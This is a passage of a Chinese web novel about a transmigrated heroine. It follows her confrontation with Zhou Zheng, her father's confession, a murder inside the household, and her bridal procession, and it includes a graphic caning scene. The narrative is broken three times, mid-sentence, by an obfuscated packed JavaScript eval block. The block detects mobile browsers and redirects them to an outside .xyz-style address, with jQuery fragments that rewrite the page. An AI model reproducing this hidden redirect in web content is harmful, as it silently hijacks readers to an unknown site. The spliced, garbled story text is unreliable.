他在门口站了好一会儿,才有个丫鬟出来开门,看来瘦瘦小小的,身高不及周徵胸口,脸上带着稚气,还是个半大的孩子。 她根本不认得周徵,只是看衣服知道他是个当官的,便将他与其他当官的一视同仁——反正官位都不如自家老爷大。 所以那丫鬟并未将他当回事儿,只问了他是谁,便让他在门口干等着。 周徵也不好意思同她争辩,只好在原地等着,跟被堵着嘴的云昭昭大眼瞪小眼,相看两厌,也越等越烦躁。 等了好一会儿那丫鬟才回来,说是老爷夫人都正忙着,没空见他。周徵忍着一肚子气,却也不好冲她一个小姑娘发,只能让她再去传话。如此来回两次,等到被请进府中时,他的耐心也已彻底耗尽。 这般受辱,被怠慢吃闭门羹的事,自他成年后还从未发生过。周徵冷冷地瞥了一眼被自己羁押之人的背影,将一肚子气都算在了她的头上。 不过他很快就顾不上生气了。 因为他发现,这云府里好像不太对劲。 周徵平素虽不喜云琛为人,却也清楚他为人精明圆滑,心思极深,喜怒不形于色,无论他对谁有多少不满,表面也总是一副慈祥和气的模样。 因此,就算他再对自己不满,也绝不可能在待客这种小事上给自己眼色瞧,唯一的可能就是他真的被什么事绊住了。 而且周徵发现,他进门后这一路上,偌大的云府,竟连一个人影儿都没有, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108282|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下人们都不知哪儿去了。 如果只是像这个女人说的一样,府里小姐丢了几样首饰,又何必大费周章地将全部下人都召集在一处?如果不是,那这个女人出逃的时机未免也过于巧合? 周徵思索着,不得不重新审视被自己“抓获”的这个女人。 只见她涂脏的脸上没有一丝怯意,也并不像寻常丫鬟那样,巴不得永远眼睛朝着地面,反而抬着晶亮的眸子,直直地迎着自己的目光,里面是不加掩饰的恨意。 借着云府中的灯光,周徵注意到,刚才被自己用来堵她嘴的那方帕子,被她用牙齿来回咬着,已经破了一个洞,仿佛被她死咬着的,不是帕子,而是令她恨得牙痒痒的,别的什么。 周徵忽然觉得自己手上的那道牙印火辣辣地疼。 一股无名之火没来由地从心里某个地方窜了上来,他练武多年,这是头一次栽在了一个女人身上。 他再也不看云昭昭,只一言不发地将她拖到了前厅,扔在门外地砖上,自己先进去会云琛那老狐狸。 厅内,云琛已整装等候在那里,见周徵进来,同他点了点头,笑呵呵地赔礼道:“承蒙侯爷大驾光临,老夫实在忙得抽不开身,有所怠慢,改日得了空,一定亲自登门,同侯爷赔不是。” “不敢当。”周徵说,“此等小事岂敢令阁老挂怀,阁老日理万机,忙到深夜是自然的,只是我方才一路进来,见贵府冷清,不知今夜出了何事?可需要锦衣卫协助?” 他话里有话,云琛听了也不恼,只是含笑轻轻揭过道: “府中内事,老夫同夫人正管教着下人们呢,侯爷见笑了。倒是侯爷统领锦衣卫,不仅要忙着侦察审讯,深夜还要亲自外出巡查,为了京中治安如此奔波,实在是辛苦啊。” “不辛苦。”周徵说,“左右不过是为了陛下的安危罢了。毕竟日防夜防,家贼难防。” 云琛点头附和道:“侯爷说的是,只不过侯爷还年轻,又常年在锦衣卫,身边人少,还未曾体会过这家里人一多了,难免百密一疏,一味严防死守,总归不是长久之计。” “哦?那阁老有何高见?” 云琛摇摇头,也不回答,只问道:“听闻侯爷今夜捉了一个贼人,不知那贼人现在何处?”说着他看向门外的地砖上映出的那道人影。 周徵不愿再同他打哑谜,他径直将云昭昭带了进来,捏住他的下巴逼她抬头。 “云阁老可认得此人?” “唔——”云昭昭咬着帕子,求助地看向云琛。 云琛只是看了她一眼,面不改色,同周徵道谢:“多谢侯爷,此人确实是我府中之人。” 周徵冷笑一声说:“阁老好生了得,不仅连哪个衙门里多了一个司务都了如指掌,还能把家里下人的脸记得一清二楚。” 云琛对他话里的讥讽一点儿都不生气,反而微笑抚须,说道:“侯爷这是埋汰老夫呢,打理好六部既是老夫分内之事,也是替陛下分忧,而家中下人再是下人,也是家人,老夫若不清楚,难道还让外人清楚了去?” “阁老可真是操心。”周徵点评道,毫不掩眼中的厌恶。 他再也懒得和云琛拉扯,直截了当地说:“我抓住这女贼时,她正偷了东西准备销赃,想来偷的便是贵府之物,只是我想不明白,一个邋遢的下人,阁老今夜何必为她如此大动干戈?” 面对他穷追猛打的追问,云琛也倍感疲惫,“侯爷多虑了,今日府中另有他事。” 不等周徵再开口,云琛便下了“逐客令”:“夜已深,老夫就不留侯爷了,改日再好好登门道谢,烦请侯爷解开这丫头的穴位,老夫好仔细盘问。” 周徵轻哼一声,在心里暗骂了一句老狐狸,随手扣住云昭昭的手脚,解开她的封穴,却没有取走她嘴里那方已被咬得破破烂烂的帕子。 “穴位已解,只是这嘴里的东西最好还是留着。” 周徵说着抬起自己受伤的手臂,冷笑道:“阁老仔细着点,这丫头疯起来可是会咬人的,还望贵府以后栓好了,别随意放到外面,影响京城治安。” 他说完不等云琛命人来送,像是生怕再多呆一刻似的,头也不回地转身,消失在薄雾迷蒙的夜色中。 云琛一直看着他离开,又找来守门那丫头问话,确认他确实从正门出去了,方才重重地松了口气,瘫坐在主位的太师椅上,揉着额角。 他用余光瞄见跌坐在地上的云昭昭,立刻面色阴沉,恨铁不成钢地命令道: “哼,自己把嘴里的东西拿出来,好好跪着罢!” 7. 家人 云琛的面部肌肉微微抽搐,显然已是怒极,只是刚才碍于周徵在场才表现得平常。 云昭昭知道现在不是违逆他的时候,况且她确实拿走了属于原身的首饰,便啪地一下跪在地上。 “女儿请父亲责罚。” 她不敢抬头,只盯着灰溜溜的地面,等待着预想中狂风骤雨的降临。 地砖冰冷,寒意很快沁透膝盖,让这具娇养的身体有些支撑不住。也不知道过了多久,她逐渐感觉小腿发麻,才终于听到一声苍老的叹息。 随后云琛把手伸到她面前,说道:“起来罢,地上凉,才养好的身子。” 云昭昭抬起头,忽然觉得他比前段时间看上去还要老了一些,鬓间又添几抹斑白,心里不觉有些酸涩之意。 她咬着嘴唇,跪在地上道:“不起来,是我错了,父亲您责罚我就是。” 见她神色倔强,就是不起,云琛拿她没有办法,只好摇头道:“你这孩子,为父何尝不知道你在想什么,又怎么舍得真的罚你。” 他负手而立,似乎想到了什么,目光聚焦在桌上的那碗茶上。 晶莹的白瓷杯中盛着从海的那边瀛洲运来的冻顶乌龙,蜜黄的茶汤上飘着层浮沫,已经是凉透了。 他缓缓开口,声音好像透过那冷掉的茶,也飘到了很远的地方。 “那是差不多三十多年前,我带着你娘刚到京城来,那时我虽靠丈人接济考上了举人,但依旧是个身无长物的穷书生,除了一日三餐能勉强糊口外,连茶都吃不起,只能去买那种大户人家泡过后又被捡来晒干的茶渣子泡来喝,一斤只要十文钱……” “那时候我准备会试,你娘便做女红养家,好不容易省下几两银子,她怕我夜里读书时冻着,便全部拿去托人替我做了件冬衣,自己却仍穿着打满补丁的旧衣服。” 云昭昭静静地听着,穿书后的这些天里,她接触更多的是柳氏,而对于原身这位位高权重的父亲,统共也没见过几面,更没说上过几句话。 今日听他主动提及这些,她很难由现下云府钟鸣鼎食的生活以及云琛锦袍玉带的装束,联想到他所述说的,贫苦的曾经。她不敢打断,只好老老实实地听他讲完。 但奇怪的是,云琛那苍老的声音,以及安静的讲述,让她之前在与周徵争斗时被挑起的烦躁和暴戾,也渐渐得到了平息。 云琛仿佛自言自语道:“你娘好歹也算是官宦之家的小姐,却甘心跟着我这么个穷书生受苦,所以我科举及第的时候便发誓,将来无论发生什么都要好好待她,好好待我们的孩子。只可惜你娘在陪我上京那年途中小产,落了病根,后来一直没有身孕,直到我四十二岁入内阁那年,才有了你。” “你长得乖巧,从小就跟个小瓷人儿似的,每次外出你娘都担心你被人贩子哄骗拐了去,只能寸步不离地把你带在身边。后来一次中秋佳节,府里设了宴,开席后才发现你不见了,你娘急坏了,以为你是趁着人多偷跑出去,便让人在家里在外面一直找,一直找,找了大半夜才发现,你当时不知道为了躲谁家的小公子,钻到自己床底下睡着了。” 说到这里,云琛嘴角浮起难得真切的笑意,问:“昭儿,你还记得这事吗?” 云昭昭沉浸在云琛的讲述中,被他这么一问,如遭当头一棒,只得摇头,悻悻地说:“小时候的事,我全都想不起来了。” “哎,为父忘了你现在暂时记不起来事情。”云琛有些懊恼地说。 他说着走过去,有些心疼地扶起云昭昭,问道:“昭儿,小时候你是为了躲着不想见的客人,今日你这副打扮出府,又是为了躲什么呢?” 他的语气充满了舐犊深情,有那么一瞬间,云昭昭想起了自己的父亲,差点就要将实话脱口而出了,但理智很快将她拉了回来。 她忍住了。 正在她反复权衡要不要同云琛说实话的时候,她又听见云琛喃喃自语道: “也罢,你从小就是个有主意的,在府里上天下地,像个混世小魔王,我和你娘只依着你的性子,从未拘着你……我们都觉得,你虽是个女儿,却也一点儿不必男儿差,也不必像别家女儿一样,整日困在后宅背女则女戒、学绣女红,只是我俩到底是老来得女,对你娇宠了些……” 云昭昭很清楚他这写话对的是原身,但还是忍不住代入到自己身上。 如果自己的父母能像云琛和柳氏一样就好了。 反观她的童年,父母为了保住厂里的饭碗才没有再生,家里只有她一个女儿,虽然平时该有的都有,吃穿也没有短过她,但总觉得缺少点什么。 很多时候父母关在屋里吵架,她在路过房门外会偷听到诸如“都怪你生不出儿子”“还不是你没本事,连交罚款的钱都挣不出来,你看我同学家谁谁的老公……”之类的争吵。 她光听着就觉得很累,但也不敢让自己去多想,只是在家里更加小心翼翼,以免触了父母的霉头。 直到高考完后,她结束了长达半年的封闭式住校生活回到家时,看到自己亲妈挺着圆滚滚的肚子,手里的行李一下子落了满地。 云昭昭还记得——虽然她很想忘了,但还是很清楚地记得,她妈当时是用怎样一种炫耀的语气告诉她,自己肚子里是个男孩,他们云家终于有后了。 那种满面春风、幸福洋溢的得意,仿佛瞬间抚平了这个年过四十的女人脸上所有的皱纹。 云昭昭当场就跑到厕所里呕吐起来,他妈还浑然不觉地跟在她身后,问她是不是坐车回来的时候晕车了。她甚至“贴心”地告诉她,冰箱里有腌过的酸梅,她前段时间反胃随时想吐的时候全靠吃这个…… 云琛扔在絮絮地说着自己女儿过去的故事,他从未说过这么多话,好像要把云昭昭原身的前半辈子都回顾一遍似的。 云昭昭听着听着眼眶就红了,酸涩、委屈,说不清的情绪通通涌上心头,听到后面,她终于绷不住,哽咽着同云琛承认道:“父亲,我其实不想入宫了,所以才……” 她实在不好意识说出后面的话。她感觉自己既是个骗子,顶着这副身体招摇撞骗,又像个小偷,偷走了属于别人的东西,属于别人的经历。 她愧疚得不行。 云琛立刻领会到了云昭昭未说完的话,但他没有怪她,只是叹了口气,流着泪感叹道: “太迟了、太迟了……昭儿,为父知道,你此番遭受大难,性子比从前通达了不少,只可惜,你若是能早点醒悟过来该有多好,之前为父如何语重心长同你说,你都不信,现在圣旨都下来了,皇命难违……哎,这是命啊!” “父亲,我……真的没有办法了吗?”云昭昭急切地问,“真的没办法了吗,我求你了!” 话刚说出口她就有点后悔,像云琛这样爱女心切的人,但凡还有一丁儿点办法,也不会告诉自己的女儿就此认命。他既然能这样说,看来,她入宫这件事是注定逃不开了。 面前的云琛老泪纵横,身形佝偻,他已不是书里那个一人之上万人之下的首辅,只是一个看着女儿入宫无能为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108283|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的父亲。 她忍着眼泪,将手伏在他枯枝般的手上,温声道:“父亲,我入宫便是……” 云琛一时间说不出话来,他蓦地想到了什么,眼中闪过一丝决绝,反手握住云昭昭纤细的柔夷,激动道: “昭儿,是为父对不起你,但你现在必须得入宫!既是为了我,也是为了你自己!” “父亲?” “昭儿,你是为父的珍宝,是为父和你娘捧在手心里长大的孩子。为父从前一直想为你寻一佳婿,他无需多么能耐——毕竟为父已官居至此,只要他能对你好,比得上我对你娘那样,便足够了。所以,为父之前说什么都不愿你入宫做他赵昶的嫔妃。” 说到这里,云琛的情绪渐渐平静下来,脸上已恢复了往日政客的精明。 “可如今形势变了。”云琛的表情渐渐严肃,“他赵昶虽绝非什么良人,但倘若有一天为父不在了呢,谁能护着你?” 原文里云家的结局,云昭昭再清楚不过,但此刻从云琛嘴里说出这样的话,令她十分心酸。 于是她违心地胡诌道:“怎么会?父亲,您别多想,在我病着的日子里,梦到好多次您功成身退,您和娘肯定能长命百岁,活到八十呢。” “傻丫头,梦和现实是相反的啊。”云琛苦笑道,“人道是水满则溢,月满则亏,再煊赫一时,也终有人走茶凉的时候。今日你这副样子跑出府能遇上周徵,绝非偶然,刚才我同他的对话你也全听到了。陛下早就忌惮我多时了,如今为父在朝堂上,虽然附和声不断,但暗地里,已经是四面楚歌了。” “父亲,女儿该怎么帮你?” 云昭昭冷不丁地冒出这么一句话,说完后她才被自己吓了一跳。 她怎么能这样说?难道真是把自己彻底代入云贵妃了么?自己已经是死过一次的人了,穿书重生后的第一要义,应该是好好活着才对啊! 云琛并不知道她内心百转千回的想法,只是嘱托道:“昭儿,为父今日交代的事务必好好记在心上。待入了宫,切莫再像从前那样任性胡为,需得处处留心,时时警惕,如今皇帝年轻,中宫后位空悬,只要我还在内阁,这个位置便不可能坐别人。无论真心也好,假意也罢,你都须得好好保全自己,为自己留一个出路。正所谓最危险的地方就是最安全的地方,在有朝一日云家不在之时,或许今日进宫才是你最好的选择。” “父亲……” 云昭昭眼眶一下子红了,开始为刚才的那一点自私懊悔不已。 云琛扶着她从地上起来,像哄小孩一样轻轻地拍打着她的背,安抚道:“昭儿,你放心,你是我的女儿,只要我还在一天,便会护你一天的周全。去吧,你娘正担心你呢。” 云昭昭瞬间泪如雨下,她说不清楚自己是什么心情,或许只是单纯地想哭了,也可能是现在的这具身体娇贵,让她人也跟着娇气起来了,生活在现代七八年不曾流过的眼泪,在她穿书后竟是一股脑地,总爱全往外流。 她一面抹着泪一面往自己房中走去,抹在脸上的泥土被泪水夹带着冲走,露出下面白净秀美的脸。 夜色已深,天上的浓云散了,露出金黄的一轮月亮来,或许是因为再过一月便是中秋,那月亮又近又大,像是枚流心的蛋黄,风一吹就会被戳破似的,溢出的皎皎清辉将她脚下的路照得敞亮。 就在云昭昭边走边若有所思时,前方的花丛中发出窸窸窣窣的声响,接着,一个漆黑的物体砰地一下子从灌木中滚了出来,在地上发出几声闷响。 8. 风起 云昭昭被这突如其来的变故吓得惊叫了一声,待她回过神,上前查看才发现,横在路中间的,是一个人,准确地说,是一个下人装束,只剩一口气的男人。 见到云昭昭,那人撑着奄奄一息的身躯动了一下,可这一动,竟是牵扯得他口中吐出大量黑血来。 云昭昭当即大声喊道:“来人!来人啊!这里出人命了!” 这里地处偏僻,她喊了几声,那人反而吐出了更多鲜血,她觉得光这么喊不太妥,便上前对那人说:“你再撑一会儿,我去叫人来!” 谁知那男人见她要走,不知从哪里使了力气,撑着身子扑到云昭昭身上。 云昭昭躲避不及,只能眼睁睁地看着他百余斤的重量落到自己身上,这时,她听到脚步声,发现前方的小径上来了一个人。 好巧不巧,这人不是别人,正是她今晚装成小厮模样从他面前蒙混过去的云府大管家,王良。 偏偏云昭昭身上依然穿着那身脏兮兮的小厮制服,见到王良,她一时有些抹不开面子。 但王良并不在意,只是盯着靠在她身上之人,漆黑的瞳孔在夜色中闪烁着精光。 “小姐,刚才听您呼救,可是府内进了贼人?”王良边说边上前。 云昭昭连忙摇头道:“不是我,是他,这人快要死了,王总管,你快去叫府医!” 谁知王良却像听不见她的话一般,大声道:“小姐别怕,有我在,这贼人就算再大胆,也不敢对小姐如何,我这就来救您!” “王总管,我没事,他快死了啊!你快去叫——” 她话说到一半,突然顿住了。只见王良目光猩红,像是醉酒之人受了刺激要大开杀戒似的,顿时心里一惊。 她感觉到掌心传来一阵痒意,紧接着,一个小小的纸团被塞进了她的手里。 王良嘴里依然念叨着:“小姐别怕,这贼人活不了多久了。” 他说着越走越近,双目猩红,几欲眦裂,宽大的手掌使出大力,几乎是用抢的方式,将云昭昭身前那人捉了过去。 那人剧烈地喘了几下,似乎还想挣扎,却已经没了力气,不一会儿就彻底断了气。 这是云昭昭第一次眼睁睁地看着一个人在自己面前断了气,她瞪大眼睛,看着眼前满脸戾气的王良,终于明白了什么。 这个人,大概是杀人了。 而自己撞破了他的秘密。 意识到这一点,云昭昭又惊又恐,连着往后退了几步,王良的面上则露出一丝疯狂。 就在云昭昭心快跳出嗓子眼的时候,云琛大概是听到了云昭昭之前的呼救,带着几个人匆匆赶了过来。 见到府里出了人命,云琛赶紧让人用灯照了照死者的脸,发现正是今晚告发王良的门子。 云琛沉下脸来,劈头盖脸地问道:“怎么回事?昭儿,你先说。” 云昭昭便将刚才发生的一切一五一十地复述了一遍。 王良的脸色更加难看,他解释那门子是因为今晚污蔑了他,在他找上门理论时畏罪服了毒药,逃到此地,那门子临死前还趁机想要对小姐不敬,自己只是路过这附近,听到小姐呼救才过来的。 “不是的!”云昭昭听到这人甚至为了脱罪甚至拿自己的清白作文章,有些生气地辩驳道。 她将门子临死前塞进自己手中的那个纸团拿了出来,在仆人的掌灯下飞快地展开。 只见上面用歪歪扭扭的字迹写着:七月廿三,在迎风楼撞见管家与锦衣卫的人来往密切。 王良大惊失色,跪地道:“老爷!老爷!一定是那门子,是他,他是武安侯的人,她污蔑我!” 然而云琛并不是那么好糊弄的人,哪里还会信他,当场让人将他拖了下去。 做完这一切后,云琛亲自送云昭昭回房,只是一路上,他面色凝重,一言不发,云昭昭心里虽有数不清的疑惑,比如今晚府里到底发生了什么,比如王良真的背叛了云府吗……但念及云琛的反应,她也不敢多问。 云昭昭带着心里的谜团回到房中,这才得知了柳氏因为自己不见而发了好大的火,将家中男女老少召集在一起盘问,门子就是那个时候跟王良结下梁子的,而流霜和汀雪因为照顾自己不力差点被罚,幸好自己及时回来,才避免了两个丫头的六十大板。 云昭昭心里对大家有愧,第二日一大早就去给柳氏请安,好好同她认了错,又把昨夜云琛所说的话转述予她,柳氏拉着她说了一上午的体己话,又赏了流霜汀雪一人几片金叶子,这件事才算彻底揭过。 但过了几日,云昭昭发现常在柳氏身边服侍的王良家的不见了,一打听,才知道王良夫妻二人一起被撵到了郊外的庄子里。云府的下人们对于他们二人的被撵众说纷纭,但那天目睹参与事件的人,都对真实原因缄口其三,明显是受了云琛的意。 而这些天里,云昭昭从众人的转述中拼凑了那天的事情经过:门子那晚当众指责王良敛财,让王良起了杀心,本来他准备逼那门子服毒自尽,再把尸体处理了,但那门子求生欲太强,一路往花园的灌木丛中逃,又正好撞上了回屋的自己,才使得一切败露。 可即使想到这些,她心里依旧疑虑重重,如果只是因为揭发王良敛财,那门子那晚冒死塞给自己的纸团又该如何解释呢? 云昭昭想不明白,却深信那张纸团上的内容是真的。 既然云府里的大管家——柳氏的亲信都能跟锦衣卫有联系,那么,云家同赵昶之间私下的争斗大概已经到了势同水火的地步了,难怪当日云琛会对自己说那番话。 一想到自己进宫后的日子,恐怕也不会好过,云昭昭不由地担心起来。 转眼,十数日过去,到了入宫的那天。 八月初一,黄道吉日,六辰值日,诸事皆宜,不避凶吉,是宫里选定的迎亲日子。 云昭昭虽只被封为贵妃,但依旧遵循着本朝皇后入宫时纳吉、纳徽、告期等礼制,只是规模和细节要稍逊色一些,减少了部分仪式。 辰时刚过,便有朝中三名重臣及数十名礼部、鸿胪寺官员组成的持节使团到访云府,宣读册封制书,由云琛代为听宣。 接着,十二名内廷女官将贵妃金册、金印、冠服送至云昭昭的屋内,流霜汀雪退下,转由她们来为云昭昭梳妆,更衣。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108284|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 女官们为了讨好这位新晋贵妃,一边服侍一边说着恭维话,夸赞着云昭昭的美貌和身段。 云昭昭则则像个提线木偶般,面无表情地任由她们摆弄,凤冠霞帔,珍珠碧玺,通通压在身上,沉甸甸的,像是一道道镣铐,将她押送至宿命的轨道。 不过很快,女官为她换上内里的衬裙后便退了下去,柳氏捧着礼裙进门亲自为云昭昭换上。 换到一半,柳氏抚摸着上面描金织锦的图案,突然泣不成声,内疚道: “昭儿,娘不像你爹,可以替你打点好一切,这身礼服是你十岁的时候娘就替你准备好了的,娘想看着你穿着娘一针一线亲手绣的婚服,风风光光的出嫁,只可惜……你嫁的是宫里头,这上面的图案娘只能连夜改了,但还是改不完,便找的嬷嬷们一起来绣的。” 云昭昭虽然没嫁过人,但在穿书前,她也参加过大学室友的婚礼,室友家里面是广东做生意的,当时婚礼上穿的是最华丽的金银绣裙褂,一套衣服据说至少也要一年的时间才能绣成,更何况是这古代呢? 云昭昭凝视着那身礼服,上面的金线熠熠生辉,刺得她眼睛疼,透过繁复的图案,她仿佛看到了无数个深夜里,身为一品诰命夫人的柳氏在灯下穿针引线的身影,一如当年那个为了供丈夫科考,熬着夜做女红换钱的普通妇人。 “娘!!!”云昭昭再也忍不住,一把扑进柳氏怀里,母女俩抱成一团,泣不成声。 二人哭过后,柳氏才放开了她:“好了,还跟小时候似的,别哭了,仔细着把妆弄花了,还要重画,误了吉时。” 她小心翼翼地捧着云昭昭的脸,仿佛捧着最珍贵的宝物,嘴上却说:“以后的宫宴上,咱母女还能常见。” 但那时候,就是身份有别了。云昭昭在心底发出一声叹息。 柳氏很快替她穿好礼服,又理了理头发冠饰,亲自为她盖上盖头,完毕后,众女官又鱼贯而入,以贵妃之礼跪拜,请云昭昭出阁。 云昭昭便在众人的簇拥下,缓步前往正堂接受使节团觐见。而后她听得云琛用哽咽的声音念出礼部那句训诫“戒之敬之夙夜无违,勉之敬之夙夜无违”,便很快被拥上了轿辇。 街上已是锣鼓冲天,礼乐纷然,龙衔宝盖,凤吐流苏,不少百姓聚在路边,前来围观这场热闹的盛事,迎亲的队伍排了很长很长。 云昭昭孤独地坐在轿辇上,满脑子都是好多年前上大学的时候,她一个人托着行李坐了两天两夜的火车北上。 那次以后她就再也没回过家,那时候她的身后什么都没有,所以可以无所畏惧地单打独斗。但现在不同了,她的身后有家人,哪怕那不是她的家人。 耀眼的朝阳升至半空,笼罩四野,云昭昭悄悄撩起盖头的一角,透过珠帘,心情复杂地看着街上被染成金色的人流。 忽然间,她听到一阵急促的鼓声,从满街的喧嚣中透了出来。 鼓角鸣喧,犹如虎啸龙吟,连带着数百米外的空气都在震动。 街上瞬间安静了下来,礼乐止歇,百姓沉默,所有人不约而同看向同一个方向。 那是登闻鼓的方向。 9. 鼓声 迎亲的队伍也随即停了下来。 虽然云昭昭并不在乎这所谓的仪仗,但毕竟是代表皇家的典礼,除非是顶天的大事,否则是不可能轻易受影响中断的。 她披着盖头,视野有限,又在车内,没法看得太远,便只能眼瞅着外面的百姓,个个露出万分错愕的表情。好奇心尤甚的她恨不得从他们眼睛里反射的光中看出些什么来。 她想了下,伸手轻轻叩了两下轿子两边的木梁。 随行的这一级仪仗,有二十四名女官并十二名太监,前后又各有两名锦衣卫司护卫之职。离云昭昭最近的那名太监察觉到她弄出的声响,立马向左移了一点,躬身在帘外请示。 “贵妃娘娘,您有什么吩咐?” 那太监瞧着年纪不大,也就二十出头,却一脸的老气横秋。云昭昭问他:“这鼓声是怎么回事?” 对方满脸堆笑,俯首作揖,答道:“回娘娘,这鼓声乃是宁远门外的登闻鼓发出的。” “登闻鼓?” 云昭昭过去在影视剧里经常看见此鼓的身影,每每主角蒙受冤屈,编剧总会安排一个敲登闻鼓的情节,历朝历代留下的典故史料里也常有击鼓上诉伸冤者,她并不觉得这有什么值得让满街人哗然的。 那太监看出她面有疑色,又躬身作揖,主动解释:“娘娘在深闺之中有所不知。这登闻鼓,自先帝时设立,为的就是方便这官吏百姓中遇到冤屈无处申诉者,能有个直接上诉天子的途径……” 云昭昭实在没有耐心听他讲这些古装剧基本常识,直接催促道:“说重点。” “是,娘娘。”那太监微微一笑,继续说。“先帝宽厚,施行仁政,所以先帝时期,不少人遇到点鸡毛蒜皮都要去敲鼓。而咱们陛下可是千年难遇的圣明君主,在继承先帝仁政的基础上又专门做了限制,规定非遇重大冤情者不能随意击鼓,并安排锦衣卫专人值守,若有违规者,将依我朝律令罚六十大板。” 他恭维得有些夸张,云昭昭忍住想翻白眼的冲动,问道:“那现在有人敲鼓,大家为何会如此惊讶?” 那太监又恭恭敬敬地作了个揖,晃得云昭昭心烦,她只能偏过头不去看他。 他说:“回娘娘,几年前陛下刚登基时,还真有胆大包天嫌命长的,为了自家区区两亩薄田被人占了这样的事违规敲鼓,引得陛下大怒,那人也是个不争气的,才仅仅挨了锦衣卫六十大板而已,就一命呜呼了。不过从那以后倒是清净多了,再没有人敢再随便敲响这鼓了。” “区区两亩薄田?六十大板而已?” 云昭昭反问,心里不住地冷笑。 “这……”那太监面上有些挂不住,只好说,“奴才不敢妄论天家之事。” 云昭昭不屑地轻哼一声,道:“锦衣卫真是眼里只有王法,罔顾人命。” 那太监还未来得及回应,外边的鼓声便像受到干扰一般,断断续续起来。紧接着,远处又传来一阵骚动,打破了刚才万众瞩目的沉默。 云昭昭侧耳倾听,勉强分辨出那阵骚乱的来源是一个男人在大声哭喊着,只可惜隔得太远,她听不清他喊的内容。 帘外那太监啐了一口气,骂道:“呸,哪里来的埋汰货,在陛下和贵妃娘娘大喜的日子敲那破鼓,也不嫌晦气。” 他有心要讨好云昭昭,便自告奋勇道:“娘娘切莫动怒,让奴才替您去前面打听打听,看看是哪个吃了熊心豹子胆的东西在敲鼓,也好教训一番。” 说着他又要行礼,云昭昭连忙阻止,问道:“行了行了,你叫什么名字来着。” 那太监连忙笑着说:“奴才乃司礼监长随汪海。” “嗯,记下了。” 那汪海一听,以为自己得了这位新晋贵妃的关注,欢天喜地地走了。 实际上云昭昭只是误以为他在内廷挡差,想着千万不要留着此人在自己宫里,不然这一句话三叩拜的样子估计会令她抓狂,听到他是司礼监的以后她便大大松了口气,想着反正以后也不会再见了。 过了一会儿,鼓声停了,汪海才回来,神情已与去时截然不同。 他紧张地瞄了云昭昭一眼,然后拢好袖子,归位站立,那张老气横秋的脸上布满恐惧,像是看见了什么特别可怕的事情。哪怕云昭昭主动问起,他也只连连说自己不知道,脚下恨不得离这轿辇十步远。 没多久,一名头戴梁冠,赤色官服上绣着云雁图样的官员朝云昭昭这边走来,自称是鸿胪寺卿。 “启禀娘娘,刚才有一恶徒胆大包天,信口雌黄,无凭无据敲响登闻鼓,惊扰了娘娘,现已被武安侯差人拖下去领罚了。” 云昭昭刚才已将那司礼监汪海的反应看在眼里,心里很是好奇。可是这位鸿胪寺卿神情磊落,语气笃定,她也不便再多问,只轻轻地嗯了一声,算是应了。 他走后不一会儿,迎亲的队伍又缓缓恢复了行进。 男人哭天抢地的呐喊依旧在持续。 这位鸿胪寺卿口中胆大包天的“恶徒”,明显是在锦衣卫手下领了罚,所以哪怕扯破了嗓子,声嘶力竭地哭喊,也要通过这等方式,将满腹冤屈求诉于上天。 随着队伍越来越靠近宁远门,那男人哭诉也越发的清楚了。 云昭昭渐渐从那撕裂般的声音中分辨出了一些简短的词句,什么“是假的”,什么“卸磨杀驴,白眼狼”,什么“阻止亲事”之类的……但喊着喊着,那人明显受伤极重,又喊破了嗓子,渐渐气短了,咬字也越发地含混不清起来。 云昭昭心里不忍,但又深感无力。 听这凄厉的惨叫,估计每一下锦衣卫都是按最重的来打的,这人遭了足足六十大板,过后肯定活不长了,就算人侥幸不死,也至少落得个半身不遂。 难怪汪海口中提及的当年那人被打死后,再也没有人敢敲响登闻鼓。 这就是周徵的手笔。 心狠手辣,不近人情,只为完成任务,只为解决敌人,眼里没有任何其他的东西。 只有王法,罔顾人命。 如果以后自己落到他手里…… 想到这里,云昭昭本就波诡云谲的前路仿佛又被蒙上了一层新的阴影。 光是想到“周徵”二字,她就气得咬牙切齿,身体微微发颤,仿佛云贵妃的灵魂,又重新回到了这具躯壳身上,主宰着这具身体的恨意。 · 宁远门下,登闻鼓处。 随着结实的木板不断挥起,又落下……那个自称是云府管家的男人嘴里的惨叫声渐渐小了。 笞杖落下处,皮肉糊成一片,粘着脓血,像是一团捣碎的肉馅,红的白的紫的,已分不清哪处是皮,哪处是肉。 与别处打板子不同,锦衣卫的杖刑是有特别手法的,起杖要轻、要快,落杖要稳、要实,力量全被压在一处,切换时以犯人两股之间为受力点,擦着抬起,再结实落下,只需一下便能打得人皮肤青肿。 这样打下来,即使是三十大板,也没有几个人能够受得起。 周徵冷眼旁观,薄唇微抿,对这样残酷的刑罚手段显然早已司空见惯。 